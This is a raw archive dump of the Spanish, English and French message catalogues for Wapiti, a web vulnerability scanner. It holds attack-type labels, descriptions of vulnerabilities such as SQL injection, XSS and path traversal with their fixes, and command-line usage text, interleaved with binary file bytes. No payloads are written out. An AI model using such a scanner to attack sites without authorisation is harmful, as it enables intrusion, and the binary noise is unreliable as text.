presiona 'Intro' en el teclado. Dependiendo de la aplicación que se esté usando, la presión de 'Intro' normalmente indica a la aplicación el comienzo de una nueva línea o el envío de un comando.Comprobar los parámetros enviados por el usuario y evitando que se inserten CRLF mediante su filtrado.Debe escoger el formulario que va a ser usado:Ejecución de comandoEjecución de comandosEste ataque consiste en ejecutar comandos del sistema en el servidor. El atacante intenta inyectar estos comandos en los parametros de la petición al servidor.Preferiblemente no usar las entradas de un usuario cuando se manejen llamadas al sistema de ficherosCross Site ScriptingCross-site scripting (XSS) es un tipo de vulnerabilidad que se encuentra en aplicaciones web que permite la inyección de código por usuarios maliciosos dentro de las páginas vistas por otros usuarios. Normalmente el código inyectado suele ser HTML y lenguajes del lado cliente, como JavaScript.La mejor forma de proteger una aplicación web de los ataques XSS es asegurarse de que la aplicacion realiza validaciones sobre todas las cabeceras, cookies, query strings, campos de formularios y campos ocultos. La codificación de los datos proporcionados por el usuario en el servidor puede servir para defenderse de vulnerabilidades XSS mediante la prevencion de inserción de script transmitidos por los usuarios desde formularios. Las aplicaciones estarán mejor protegidas de los ataques basados en JavaScript mediante la conversión apropiada codificación en HTML de los siguientes caracteres: <, >, &, ", ', (, ), #, %, ; , +, -Inyección DB2Descargando de la web...Introduzca un númeroError al descargar la base de datos NiktoError al leer la páginaError obteniendo la URLError: Sin respuesta por parte del servidorURL vulnerableArchivoManejo de archivosEste ataque es también conocido como Path Transversal o Directory Transversal, su objetivo es acceder a directorios y ficheros que son almacenados fuera del directorio en el que se encuentra la aplicación web. El atacante intenta explorar los ditectorios guardados en el servidor web usando algunas técnicas como por ejemplo, la manipulación de variables que referencian ficheros con secuencias de 'punto punto barra (../)' y sus variantes para moverse hasta el directorio raíz para navegar a través del sistema de archivos.Es preferible no usar las entradas de un usuario cuando se manejan llamadas al sistema de ficheros
    Usar índices mejor que porciones del nombre del fichero cuando se usen ficheros de lenguaje (por ejemplo el valor 5 para la entrada de datos de usuario por el nombre Checoslovaco, en vez de esperar que el usuario introduzca 'Checoslovaco').
    Asegurar que el usuario no pueda acceder a la ruta entera de un fichero.
    Validar la entrada de datos del usuario, solo aceptando las rutas que son conocidas.
    Usar jaulas (chrooted jails) y tener políticas de acceso para restringir por quien puede ser leído o escrito un fichero.FormularioFormulariosInformación de los formulariosEncontrado XSS enEncontrado fichero de backupEncontrados XSS permanentes atacados medianteEncontrado XSS permanente enXSS encontrado enDeProtección HtAccess encontradaBypass HtaccessLos ficheros htaccess son usados para restringir el acceso sobre algunos ficheros mediante HTTP. En algunos casos es posible saltar esta restricción y acceder a estos ficheros.Asegurarse de que los métodos HTTP están prohibidos si las credenciales no son correctas.Inyección InterbaseEntradasArgumento link (URL) inválidoInyección Java.SQLInyección LDAPLanzando móduloCargando módulosBuscando XSS permantentesInyección basada en MSSQLAsegúrate de que la URL es correctaMetodoDependencias perdidas para el móduloInyección MySQL¡No se han encontrado formularios en esta página!¡No se han encontrado enlaces ni formularios en esta página!AvisoAbreInyección OraclePor favor, introduzca valores para el formulario:Inyección PostgreSQLFichero potencialmente peligrosoCiertos scripts son conocidos por ser potencialmente vulnerables y peligrosos. Listas de este tipo de ficheros son frecuentemente utilizados por atacantes para escanear sitios de Internet a la búsqueda de este tipo de vulnerabilidades.El administrador deberá actualizar regularmente a la última versión sus scripts y programas utilizados en els ervidor. También es aconsejado estar informado sobre las nuevas vulnerabilidades descubiertas, para ello sería conveniente estar sindicado a diferentes RSS sobre seguridadSe ha encontrado un problema con la base de datos Nikto local.XSSReferencias:incluido RemoteInformeConsumo de recursosUn atacante puede forzar a una víctima a consumir más recursos de los que le está permitido consumir debido al nivel de acceso del atacante. El programa puede potencialmente fallar liberando un recurso del sistema o puede liberarlo incorrectamente. Si un recurso no es adecuadamente liberado no estará disponible para poder ser reutilizado. También puede ser un falso positivo debido al corto timeout usado en el para realizar el ataque.Configurar adecuadamente el software para evitar el consumo de memoria o la caída del sistema.Inyección SQLLa inyección SQL es una técnica que explota una vulnerabilidad que ocurre en la base de datos de una aplicación.Para protegerse contra las inyecciones SQL, las entradas de información que el usuario introduce en la aplicación no deben ser directamente colocadas en sentencias SQL. En vez de eso, las entradas deben ser limipiadas, filtradas o bien se deben usar sentencias parametrizadas.Escaneo detenido, la información ha sido guardada en el ficheroSeleccionables (Selects)Códgo fuenteInyección SybaseÁreas de textoEl escaneo ha sido guardado en el ficheroTimeoutTimeout (QUERY_STRING) enTimeout viniendo deTimeout enAPara continuar el escaneo se debe lanzar Wapiti con la opciónPara continuar el escaneo, Wapiti deberá ser lanzado con el parámetro "-i"URLsURLsURL escaneadasURL a escanearScripts de subidaScripts de upload encontradosWapiti-SVN (wapiti.sourceforge.net)Inyección XPathXSSPuede ser usado para realizar ataques sin necesidad de escanear nuevamente el sitio web conPuede ser usado para realizar ataques sin necesidad de escanear nuevamente el sitio web utilizando el parámetro "-k"Ataque GETAtaque POSTatacado porcausado porviniendo deeninyectado desdecargado, Wapiti lo usará para realizar los ataquescargado, el escaneo continua lswww explora un sitio web y extrae los enlaces y formularios (incluyendo sus campos). Usage: python lswww.py http://server.com/base/url/ [opciones] Las opciones soportadas son: -s --start Para especificar una URL con la que empezar -x --exclude Para excluir una URL del análisis (por ejemplo scripts de logout) También se permite el uso del comodín (*) Ejemplo: -x http://server/base/?page=*&module=test o -x http://server/base/admin/* para excluir un directorio -p --proxy Especifica un proxy Ejemplo: -p http://proxy:port/ -c --cookie Para usar una cookie -a --auth Establece credenciales para autenticación HTTP No funciona con Python 2.4 -r --remove Borra un parámetro de las URL -v --verbose Establece el nivel de logs 0: only print results 1: pinta un punto (.) por cada URL encontrada (logs por defecto) 2: pinta cada URL -t --timeout Establece el tiempo del timeout (en segundos) -n --nice Define el límite de URL a leer con el mismo patrón Usar esta opción para prevenir bucles infinitos Este parámetro debe ser mayor de 0 -b --scope Establece el ambito del escaneo de Wapiti: + "page": para analizar solamente la página pasada en la URL + "folder": para analizar todos los enlaces a las página que están en la misma caperta que la de la URL pasada a Wapiti. + "domain": para analizar todos los enlaces a las página que están en el mismo dominio que la de la URL pasada a Wapiti. Si el ámbito no se indica, Wapiti escanea todo el árbol bajo la URL dada. -i --continue Este parámetro indica a Wapiti que debe continuar el escaneo a partir de los datos del archivo especificado. Este fichero debe contener información de un escaneo previo. El fichero es opcional, si no se especifica, Wapiti toma un archivo por defecto de la carpeta "scans". -h --help Para sacar este mensaje de uso de Wapitino encontrado, Wapiti escaneará de nuevo el sitio webcomo parametroInyección de preg_replace Wapiti - Escáner de vulnerabilidades de aplicaciones web Uso: python wapiti.py http://server.com/base/url/ [opciones] Las opciones soportadas son: -s --start Para especificar una URL con la que empezar -x --exclude Para excluir una URL del análisis (por ejemplo scripts de logout) También se permite el uso del comodín (*) Ejemplo: -x http://server/base/?page=*&module=test o -x http://server/base/admin/* para excluir un directorio -p --proxy Especifica un proxy Ejemplo: -p http://proxy:port/ -c --cookie Para usar una cookie -t --timeout Establece el tiempo del timeout (en segundos) -a --auth Establece credenciales para autenticación HTTP No funciona con Python 2.4 -r --remove Borra un parámetro de las URL -n --nice Define el límite de URL a leer con el mismo patrón Usar esta opción para prevenir bucles infinitos Este parámetro debe ser mayor de 0 -m --module Indica los módulos y métodos HTT que van a ser usados en los ataques. Ejemplo: -m "-all,xss:get,exec:post" -u --underline Para resaltar en color los parámetros de las vulnerabilidades en la salida -v --verbose Establece el nivel de logs por pantalla 0: silencioso (default), 1: pinta cada URL, 2: pinta cada ataque -b --scope Establece el ambito del escaneo de Wapiti: + "page": para analizar solamente la página pasada en la URL + "folder": para analizar todos los enlaces a las página que están en la misma caperta que la de la URL pasada a Wapiti. + "domain": para analizar todos los enlaces a las página que están en el mismo dominio que la de la URL pasada a Wapiti. Si el ámbito no se indica, Wapiti escanea todo el árbol bajo la URL dada. -f --reportType Establece el tipo de informe xml: Informe en formato XML html: Informe en formato HTML -o --output Establece el nombre del informe Si el tipo de informe seleccionado es HTML, este parámetro debe ser un directorio -i --continue Este parámetro indica a Wapiti que debe continuar el escaneo a partir de los datos del archivo especificado. Este fichero debe contener información de un escaneo previo. El fichero es opcional, si no se especifica, Wapiti toma un archivo por defecto de la carpeta "scans". -k --attack Este parámetro le indica a Wapiti que debe realizar los ataques sin escanear de nuevo el sitio web, siguiendo la información del fichero que se le pasa. El fichero es opcional, si no se especifica, Wapiti toma un archivo por defecto de la carpeta "scans". -h --help Para sacar este mensaje de uso de Wapiticoncon un navegador para ver el informecon campocon camposcon parámetroswapiti-2.2.1/src/config/language/en/0000755000000000000000000000000011316441726015735 5ustar rootrootwapiti-2.2.1/src/config/language/en/LC_MESSAGES/0000755000000000000000000000000011316441726017522 5ustar rootrootwapiti-2.2.1/src/config/language/en/LC_MESSAGES/wapiti.mo0000644000000000000000000003733511316435741021367 0ustar rootrootc4Lpq' b4      " %3 Y y       % D ` u         $ D [ ` |      &   &% #L p w    1 < D$Ns{ 4 !#6ZJ^     10.9 h r|"   5 '1bY .#"%8*A (UH>7vH 2!## $ $$9$P$U$D$4%;%Q%k%%&%%%%j&9'@'YU'`( )g))1>*p* x*$**** **4* +%+ *+6+E+T+#i++J+ + + + + ,,1,H,gc,.3 3 4>!> > > >?.(:;U_JOBIaW'E D* FS9^X$P\&`"@ > )1K<8T/YLH,5C!3V42Q 7%-M0Z+RGcbA6][ =N#(QUERY_STRING)(QUERY_STRING) in500 Error description500 HTTP Error code500 HTTP Error code coming from500 HTTP Error code in500 HTTP Error code withA report has been generated in the fileAttack process interrupted. To perform again the attack, lauch Wapiti with "-i" or "-k" parameter.Attacking forms (POST)Attacking urls (GET)Backup fileBackup file descriptionBackup file solutionBlind SQL InjectionBlind SQL Injection (QUERY_STRING)Blind SQL Injection (QUERY_STRING) inBlind SQL Injection coming fromBlind SQL Injection descriptionBlind SQL Injection inBlind SQL Injection solutionCRLFCRLF Injection (QUERY_STRING) inCRLF descriptionCRLF solutionCommands executionCommands execution descriptionCommands execution solutionCross Site ScriptingCross Site Scripting descriptionCross Site Scripting solutionEvil urlFileFile HandlingFile Handling descriptionFile Handling solutionFormFormsForms InfoFound XSS inFound permanent XSS attacked byFound permanent XSS inFromHtaccess bypass descriptionHtaccess bypass solutionIntputsInvalid link argumentLooking for permanent XSSMake sure the url is correct.MethodNo links or forms found in this page !NoticeOpenPotentially dangerous file descriptionPotentially dangerous file solutionReportResource consumptionResource consumption descriptionResource consumption solutionSQL InjectionSQL Injection descriptionSQL Injection solutionScan stopped, the data has been saved in the fileSelectsTextAreasThis scan has been saved in the fileTimeoutTimeout (QUERY_STRING) inTimeout coming fromTimeout inToTo continue this scan, you should launch Wapiti withURLSURLsURLs browsedURLs to browseUpload ScriptsUpload scripts foundWapiti-SVN (wapiti.sourceforge.net)XSSYou can use it to perform attacks without scanning again the web site withattackGETattackPOSTattacked bycaused bycoming frominloaded, Wapiti will use it to perform the attacksloaded, the scan continueslswwwDocnot found, Wapiti will scan again the web siteparameterwapityDocwithwith a browser to see this report.with fieldwith fieldswith paramsProject-Id-Version: PACKAGE VERSION Report-Msgid-Bugs-To: POT-Creation-Date: 2009-12-29 18:21+0100 PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE Last-Translator: FULL NAME Language-Team: LANGUAGE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit (QUERY_STRING)(QUERY_STRING) inInternal Server Error. The server encountered an unexpected condition which prevented it from fulfilling the request.500 HTTP Error code500 HTTP Error code coming from500 HTTP Error code in500 HTTP Error code withA report has been generated in the fileAttack process interrupted. To perform again the attack, lauch Wapiti with "-i" or "-k" parameter.Attacking forms (POST)Attacking urls (GET)Backup fileIt may be possible to find backup files of scripts on the webserver that thewebadmin put here to save a previous version or backup files that are automaticallygenerated by the software editor used (like for example Emacs). These copies may revealinteresting informations like source code or credentialsThe webadmin must manually delete the backup files or remove it from the web root. He shouldalso reconfigure its editor to deactivate automatic backupsBlind SQL InjectionBlind SQL Injection (QUERY_STRING)Blind SQL Injection (QUERY_STRING) inBlind SQL Injection coming fromBlind SQL injection is a technique that exploits a vulnerability occurring in the database of an application. This kind of vulnerability is harder to detect than basic SQL injections because no error message will be displayed on the webpage.Blind SQL Injection inTo protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.CRLFCRLF Injection (QUERY_STRING) inThe term CRLF refers to Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). They're used to note the termination of a line, however, dealt with differently in today’s popular Operating Systems. For example: in Windows both a CR and LF are required to note the end of a line, whereas in Linux/UNIX a LF is only required. This combination of CR and LR is used for example when pressing 'Enter' on the keyboard. Depending on the application being used, pressing 'Enter' generally instructs the application to start a new line, or to send a command.Check the submitted parameters and do not allow CRLF to be injected by filtering CRLFCommands executionThis attack consists in executing system commands on the server. The attacker tries to inject this commands in the request parametersPrefer working without user input when using file system callsCross Site ScriptingCross-site scripting (XSS) is a type of computer security vulnerability typically found in web applications which allow code injection by malicious web users into the web pages viewed by other users. Examples of such code include HTML code and client-side scripts.The best way to protect a web application from XSS attacks is ensure that the application performs validation of all headers, cookies, query strings, form fields, and hidden fields. Encoding user supplied output in the server side can also defeat XSS vulnerabilities by preventing inserted scripts from being transmitted to users in an executable form. Applications can gain significant protection from javascript based attacks by converting the following characters in all generated output to the appropriate HTML entity encoding: <, >, &, ", ', (, ), #, %, ; , +, -.Evil urlFileFile HandlingThis attack is also known as Path Transversal or Directory Transversal, its aim is the access to files and directories that are stored outside the web root folder. The attacker tries to explore the directories stored in the web server. The attacker uses some techniques, for instance, the manipulation of variables that reference files with 'dot-dot-slash (../)' sequences and its variations to move up to root directory to navigate through the file system.Prefer working without user input when using file system calls
    Use indexes rather than actual portions of file names when templating or using language files (ie value 5 from the user submission = Czechoslovakian, rather than expecting the user to return 'Czechoslovakian').
    Ensure the user cannot supply all parts of the path – surround it with your path code.
    Validate the user’s input by only accepting known good – do not sanitize the data.
    Use chrooted jails and code access policies to restrict where the files can be obtained or saved to.FormFormsForms InfoFound XSS inFound permanent XSS attacked byFound permanent XSS inFromhtaccess files are used to restrict access to some files or HTTP method. In some case it may be possible to bypass this restriction and access the files.Make sure every HTTP method is forbidden if the credentials are bad.InputsInvalid link argumentLooking for permanent XSSMake sure the url is correct.MethodNo links or forms found in this page !NoticeOpenSome scripts are known to be vulnerable or dangerous. Databases of such files exists and attackers often scan websites to find such vulnerabilities and exploit them. The administrator should frequently check for new version of the scripts used on his server and keep informed of vulnerabilities in the software programs he uses by reading security-list or specialised RSS.ReportResource consumptionAn attacker can force a victim to consume more resources than should be allowed for the attacker's level of access. The program can potentially fail to release or incorrectly release a system resource. A resource is not properly cleared and made available for re-use. It can also be a false-positive due to a too short timeout used for the scan.Configure properly the software giving the ressource to avoid memory consumption or system load.SQL InjectionSQL injection is a technique that exploits a vulnerability occurring in the database of an application.To protect against SQL injection, user input must not directly be embedded in SQL statements. Instead, user input must be escaped or filtered or parameterized statements must be used.Scan stopped, the data has been saved in the fileSelectsTextAreasThis scan has been saved in the fileTimeoutTimeout (QUERY_STRING) inTimeout coming fromTimeout inToTo continue this scan, you should launch Wapiti withURLSURLsURLs browseURLs to browseUpload ScriptsUpload scripts foundWapiti-SVN (wapiti.sourceforge.net)XSSYou can use it to perform attacks without scanning again the web site withattackGETattackPOSTattacked bycaused bycoming frominloaded, Wapiti will use it to perform the attacksloaded, the scan continues lswww explore a website and extract links and forms fields. Usage: python lswww.py http://server.com/base/url/ [options] Supported options are: -s --start To specify an url to start with -x --exclude To exclude an url from the scan (for example logout scripts) You can also use a wildcard (*) Example : -x http://server/base/?page=*&module=test or -x http://server/base/admin/* to exclude a directory -p --proxy To specify a proxy Exemple: -p http://proxy:port/ -c --cookie To use a cookie -a --auth Set credentials for HTTP authentication Doesn't work with Python 2.4 -r --remove Remove a parameter from URLs -v --verbose Set verbosity level 0: only print results 1: print a dot for each url found (default) 2: print each url -t --timeout Set the timeout (in seconds) -n --nice Define a limit of urls to read with the same pattern Use this option to prevent endless loops Must be greater than 0 -b --scope Set the scope of the scan: + "page": to analyse only the page passed in the URL + "folder":to analyse all the links to the pages which are in the same folder as the URL passed to Wapiti. + "domain":to analyse all the links to the pages which are in the same domain as the URL passed to Wapiti. If no scope is set, Wapiti scans all the tree under the given URL. -i --continue This parameter indicates Wapiti to continue with the scan from the specified file, this file should contain data from a previous scan. The file is optional, if it is not specified, Wapiti takes the default filefrom "scans" folder. -h --help To print this usage messagenot found, Wapiti will scan again the web siteparameterWapiti-SVN - A web application vulnerability scanner Usage: python wapiti.py http://server.com/base/url/ [options] Supported options are: -s --start To specify an url to start with -x --exclude To exclude an url from the scan (for example logout scripts) You can also use a wildcard (*) Example : -x http://server/base/?page=*&module=test or -x http://server/base/admin/* to exclude a directory -p --proxy To specify a proxy Example: -p http://proxy:port/ -c --cookie To use a cookie -t --timeout To fix the timeout (in seconds) -a --auth Set credentials for HTTP authentication Doesn't work with Python 2.4 -r --remove Remove a parameter from URLs -n --nice Define a limit of urls to read with the same pattern Use this option to prevent endless loops Must be greater than 0 -m --module Set the modules and HTTP methods to use for attacks. Example: -m "-all,xss:get,exec:post" -u --underline Use color to highlight vulnerables parameters in output -v --verbose Set the verbosity level 0: quiet (default), 1: print each url, 2: print every attack -b --scope Set the scope of the scan: + "page": to analyse only the page passed in the URL + "folder":to analyse all the links to the pages which are in the same folder as the URL passed to Wapiti. + "domain":to analyse all the links to the pages which are in the same domain as the URL passed to Wapiti. If no scope is set, Wapiti scans all the tree under the given URL. -f --reportType Set the type of the report xml: Report in XML format html: Report in HTML format txt: Report in plain text -o --output Set the name of the report file If the selected report type is 'html', this parameter must be a directory -i --continue This parameter indicates Wapiti to continue with the scan from the specified file, this file should contain data from a previous scan. The file is optional, if it is not specified, Wapiti takes the default file from the "scans" folder. -k --attack This parameter indicates Wapiti to perform attacks without scanning again the website and following the data of this file. The file is optional, if it is not specified, Wapiti takes the default file from the "scans" folder. -h --help To print this usage messagewithwith a browser to see this reportwith fieldwith fieldswith paramswapiti-2.2.1/src/config/language/fr/0000755000000000000000000000000011316441726015742 5ustar rootrootwapiti-2.2.1/src/config/language/fr/LC_MESSAGES/0000755000000000000000000000000011316441726017527 5ustar rootrootwapiti-2.2.1/src/config/language/fr/LC_MESSAGES/wapiti.mo0000644000000000000000000004767311316435741021402 0ustar rootrootl      $ D [ 't  b  1 F R j   " %  2Ifk z ! < Qr  1EN Sa{  1A]v9@_o&*&,#S"w   &@1W  $ G"jo t#J]7     1+.4c z"   5.(W<'S{,ui"_$u)& ! !"""4"y#&R$y$$$a[%%%& (!(0(<E($(#(/(( )$)*7)b* , , ,:,K,"k,,,,,(,-...'...../2/"B/e/&n//*/5/0 000#0T0"i00>1P233)3<3D3]3y'5 5t5$6B7R7 Z7h7 y7:7777 78L 8Z8_8d8s888#888e8jL9 9 99 999:-:@:Z:9CNC iCZO(_O OOO rY3%ejW5gkzx{-Nfam>9chPl!vMA 2~67&0[u /tU*b,?IdZ" K=CnqsJ+^VD(}L 1To#S F.|Rp4HiG';8O)<B_\]X@$`EQy:w(QUERY_STRING)(QUERY_STRING) in.htaccess bypass vulnerability:500 Error description500 HTTP Error code500 HTTP Error code coming from500 HTTP Error code in500 HTTP Error code withA report has been generated in the fileAccess-Based SQL InjectionAttack process interrupted. To perform again the attack, lauch Wapiti with "-i" or "-k" parameter.Attacking forms (POST)Attacking urls (GET)Backup fileBackup file descriptionBackup file found forBackup file solutionBlind SQL InjectionBlind SQL Injection (QUERY_STRING)Blind SQL Injection (QUERY_STRING) inBlind SQL Injection coming fromBlind SQL Injection descriptionBlind SQL Injection inBlind SQL Injection solutionCRLFCRLF InjectionCRLF Injection (QUERY_STRING) inCRLF descriptionCRLF solutionChoose the form you want to use :Command executionCommands executionCommands execution descriptionCommands execution solutionCross Site ScriptingCross Site Scripting descriptionCross Site Scripting solutionDB2 InjectionDownloading from the web...Enter a number : Error downloading Nikto databaseError fetching pageError getting urlError: The server did not understand this requestEvil urlFileFile HandlingFile Handling descriptionFile Handling solutionFormFormsForms InfoFound XSS inFound backup file !Found permanent XSS attacked byFound permanent XSS inFound raw XSS inFromHtAccess protection found:Htaccess BypassHtaccess bypass descriptionHtaccess bypass solutionInterbase InjectionIntputsInvalid link argumentJava.SQL InjectionLDAP InjectionLaunching moduleLoading modulesLooking for permanent XSSMSSQL-Based InjectionMake sure the url is correct.MethodMissing dependecies for moduleMySQL InjectionNo forms found in this page !No links or forms found in this page !NoticeOpenOracle InjectionPlease enter values for the folling form :PostgreSQL InjectionPotentially dangerous filePotentially dangerous file descriptionPotentially dangerous file solutionProblem with local nikto database.Raw XSSReferences:Remote includeReportResource consumptionResource consumption descriptionResource consumption solutionSQL InjectionSQL Injection descriptionSQL Injection solutionScan stopped, the data has been saved in the fileSelectsSource code:Sybase InjectionTextAreasThis scan has been saved in the fileTimeoutTimeout (QUERY_STRING) inTimeout coming fromTimeout inToTo continue this scan, you should launch Wapiti with the "-i" parameterURLSURLsURLs browsedURLs to browseUpload ScriptsUpload scripts foundWapiti-SVN (wapiti.sourceforge.net)XPath InjectionXSSYou can use it to perform attacks without scanning again the web site withYou can use it to perform attacks without scanning again the web site with the "-k" parameterattackGETattackPOSTattacked bycaused bycoming fromininjected from loaded, Wapiti will use it to perform the attacksloaded, the scan continueslswwwDocnot found, Wapiti will scan again the web sitepreg_replace injectionwapityDocwithwith a browser to see this report.with fieldwith fieldswith paramsProject-Id-Version: PACKAGE VERSION Report-Msgid-Bugs-To: POT-Creation-Date: 2009-12-29 18:21+0100 PO-Revision-Date: YEAR-MO-DA HO:MI+ZONE Last-Translator: FULL NAME Language-Team: LANGUAGE MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit (QUERY_STRING)(QUERY_STRING) dansVulnérabilité de contournement de htaccess :Description du code d'erreur 500Erreur interne au serveur. Le serveur a fait face à une situation inattendue qui l'a empêché de traiter convenablement la requête.Code d'erreur HTTP 500Code d'erreur HTTP 500 en provenance deErreur HTTP 500 dansCode d'erreur HTTP 500 avecUn rapport a été généré dans le fichierInjection sur base AccessLe processus d'attaque a été stoppé. Pour le reprendre plus tard, lancez Wapiti avec les paramêtres "-i" ou "-k".Attaque des formulaires (POST)Attaque des urls (GET)Copie de sauvegardeIl se peut que des copies de sauvegarde de scripts soient accessibles sur le serveur. L'administrateur web a du placer volontairement une sauvegarde dans l'idée de revenir à une précédente version ou involontairement en utilisant un éditeur configuré pour sauver automatiquement une copie après une certaine durée.Ces fichiers peuvent révéler des informations intéressantes comme du code source ou encore des identifiants (accès à la base de données).Fichier de sauvegarde trouvé pourL'administrateur web doit supprimer manuellement les sauvegardes présentes sous la racine web et reconfigurer l'éditeur qu'il utilise pour désactiver les sauvegardes automatiques.Injection SQL aveugleInjection SQL aveugle (QUERY_STRING)Injection SQL aveugle (QUERY_STRING) dansInjection SQL aveugle en provenance deLes techniques d'injections SQL en aveugle exploite des vulnérabilités qui s'exécutent au sein d'une base de données. Ce type de vulnérabilités est plus difficile à détecter en raison de l'absence de messages d'erreur renvoyés par l'application web.Injection SQL aveugle dansPour se protéger des injections SQL, les données fournies par les utilisateurs ne doivent pas être utilisées telles-quelles dans les requêtes SQL mais doivent faire l'objet de vérifications (filtres, échappements) approfondies.Attaques CRLFInjection CRLFInjection CRLF (QUERY_STRING) dansLe terme CRLF fait référence à Carriage Return (ASCII 13, \r) Line Feed (ASCII 10, \n). Dans le protocole HTTP, ces deux caractères à la suite permettent entre autres de passer à la ligne d'entête suivante.
    Un script qui insère directement dans ses entêtes des données fournies par l'utilisateur peut alors se voir injecter des lignes d'entêtes qui seront interprétées par le navigateur de la victime.Vérifiez que les couples nom / valeur retournés dans les entêtes HTTP ne contiennent pas la suite de caractères CRLF.Choisissez le formulaire à utiliser :Exécution de commandeExécution de commandesCe type d'attaque consiste à faire exécuter des commandes sur le serveur. L'attaquant tente d'injecter les commandes dans les paramêtres de requêtes qui lui sont accessibles.Evitez autant que possible de vous servir de données utilisateur dans vous appels de commandes.Cross Site ScriptingLe Cross-site scripting (XSS) est une catégorie de vulnérabilités web qui permet d'exécuter du code dans le navigateur des visiteurs du site. Leur exploitation peut par exemple permettre le détournement d'une session qui a été ouverte sur un site par un utilisateur valide.Afin de se protéger des attaques XSS, il faut s'assurer que les données retournées dans une page ne contiennent pas certains caractères interprétés par le navigateur.
    Certains caractères considérés dangereux peuvent être remplacés par leur code d'entité HTML.Injection DB2Téléchargement depuis le web...Entrez un numéro : Erreur lors du téléchargement de la base de données NiktoErreur lors de la lecture de la pageErreur lors de l'ouverture de l'urlErreur : Le serveur n'a pas compris la requêteURL malicieuseFichierAttaques sur la gestion des fichiersCes techniques permet à l'attaquant d'accèder à des fichiers auxquels il n'est pas sensé accèder car en dehors de la racine du serveur web. En utilisant certaines séquences comme '../', il peut remonter dans l'arborescence pour ainsi lister des répertoires ou obtenir le contenu de fichiers.Ne laissez pas aux utilisateurs la possibilité de choisir une ou plusieurs parties du nom d'un fichier ou d'un répertoire. Générez vous même des noms aléatoire en cas de création ou utilisez des correspondances en cas de templates (un ID numérique correspondant à une chaine de caractères.
    Utilisez des jails chroot et des restrictions d'accès pour limiter le nombre de fichiers accessibles par le serveur.FormulaireFormulairesInfos sur les formulairesXSS trouvé dansFichier de sauvegarde trouvé !XSS permanent XSS en provenance deXSS permanent trouve dansXSS brut trouvé dansEn provenance deProtection htaccess trouvée :Contournement de protection par htaccessLes fichiers htaccess permettent de restreindre l'accès a des fichiers ou répertoires en fonction d'identifiants ou méthode HTTP utilisés. Si la configuration a été mal faite il peut être possible de contourner la restriction.La configuration du htaccess doit être minutieusement vérifiée pour ne pas laisser une porte d'entrée à un éventuel attaquant.Injection InterbaseInputsLe lien passé en argument est invalideInjection Java.SQLInjection LDAPLancement du moduleChargement des modulesRecherche de XSS permanentsInjection MSSQLAssurez vous que l'url est valide.MéthodeDépendances manquantes pour le moduleInjection MySQLAucun formulaire trouvé dans cette page !Aucun liens ni formulaires trouvés dans cette page !NoteOuvrezInjection OracleVeuillez entrez les valeurs pour le formulaire :Injection PostgreSQLFichiers potentiellement dangereuxCertains scripts sont connus pour être potentiellement vulnérables et dangereux. Des listes de tels fichiers existent et sont fréquemment utilisées par des attaquants pour scanner des sites Internet à la recherche de ces vulnarébilitées.L'administrateur devrait vérifier régulièrement si des mises à jour sont disponibles pour les scripts et logiciels utilisés sur le serveur. Il est aussi conseillé de se tenir informé sur les nouvelles vulnérabilités trouvées en s'abonnant à des listes de sécurité ou en suivant des flux RSS spécialisés.Un problème a été rencontré lors de la lecture de la base de données Nikto.XSS brutRéférences :Inclusion distanteRapportEpuisement de ressourcesUn attaquant peut faire en sorte que le serveur consomme plus de ressources qu'il en utilise en temps normal. Certains défauts de conception peuvent rendre une ressource indisponible pendant un laps de temps après son accès. En répétant certaines requêtes mal gérées par le serveur ce dernier peut arriver à saturation.
    Des faux positifs lors du scan peuvent aussi apparaîtrent sous cette catégorie en raison d'un timeout choisi trop faible.Alléger les requêtes effectuées par l'application web pour les rendre moins gourmandes en utilisation mémoire et CPU.Injection SQLLes injections SQL sont une technique qui exploite une vulnérabilité qui s'exécute au sein d'une base de donnée.Pour se protéger des injections SQL, les données fournies par les utilisateurs ne doivent pas être utilisées telles-quelles dans les requêtes SQL mais doivent faire l'objet de vérifications (filtres, échappements) approfondies.Scan mis en pause, les données ont été sauvées dans le fichierSelectsCode source :Injection SybaseTextAreasCette session de scan a été enregistrée dans le fichierTimeoutTimeout (QUERY_STRING) dansTimeout en provenance deTimeout dansversSi vous souhaitez reprendre ce scan, relancez Wapiti avec le paramêtre "-i"URLSURLsURLs traitéesURLs à traiterScripts d'uploadScripts d'upload trouvésWapiti-SVN (wapiti.sourceforge.net)Injection XPathXSSVous pouvez l'utiliser pour lancer directements les attaques sans avoir à scanner le site à nouveauVous pouvez l'utiliser pour lancer des attaques sans scanner à nouveau le siteweb avec le paramêtre "-k"attackGETattackPOSTen provenance deprovoqué paren provenance dedansinjecté depuis chargé, Wapiti l'utilisera pour ses attaqueschargé, le scan continue lswww explore un site web et extrait les liens et formulaires trouvés. Mode d'emploi : python lswww.py http://server.com/base/url/ [options] Les options disponibles sont : -s --start Commencer le scan par l'url spécifiée -x --exclude Exclure une url du scan (par exemple les scripts de déconnexion) L'utilisation de l'astérisque (*) est autorisée Exemple : -x http://server/base/?page=*&module=test ou -x http://server/base/admin/* to exclude a directory -p --proxy Spécifier un proxy à utiliser Exemple: -p http://proxy:port/ -c --cookie Utiliser un cookie pour les requêtes -a --auth Définir des identifiants pour l'authentication HTTP -r --remove Retirer un paramêtre de chaque URL -v --verbose Définir le niveau de verbosité 0: afficher uniquement les résultats 1: afficher un point pour chaque url trouvée (défaut) 2: afficher chaque url au moment de leur découverte -t --timeout Définir un temps d'attente (en secondes) -n --nice Definir une limite d'urls à traiter formées sur le même modèle (pattern) Cette option peut empêcher de tomber dans des boucles infinies de scan La valeur doit être supérieure à 0 -b --scope Définir le périmêtre du scan : + "page" : analyser toutes les pages présentes sous l'URL principale + "folder" : analyser toutes les pages présentes sous la même arborescence que la page passée en argument principal à Wapiti. + "domain" : analyser toutes les pages sous le même domaine que l'URL principale passée à Wapiti. Si aucun argument n'est définie, Wapiti scanne chaque page sous l'URL principale.. -i --continue Reprendre une précédente session de scan là où elle avait été laissée en chargeant les données depuis le fichier spécifié en paramêtre. Si aucun fichier n'est spécifié, Wapiti se sert d'un fichier de sauvegarde par défaut présent dans le dossier "scans". -h --help Afficher ce message d'aidenon trouvé, Wapiti va lancer un nouveau scan du site webInjection par preg_replaceWapiti-SVN - Un scanneur de vulnérabilités pour applications web Mode d'emploi : python wapiti.py 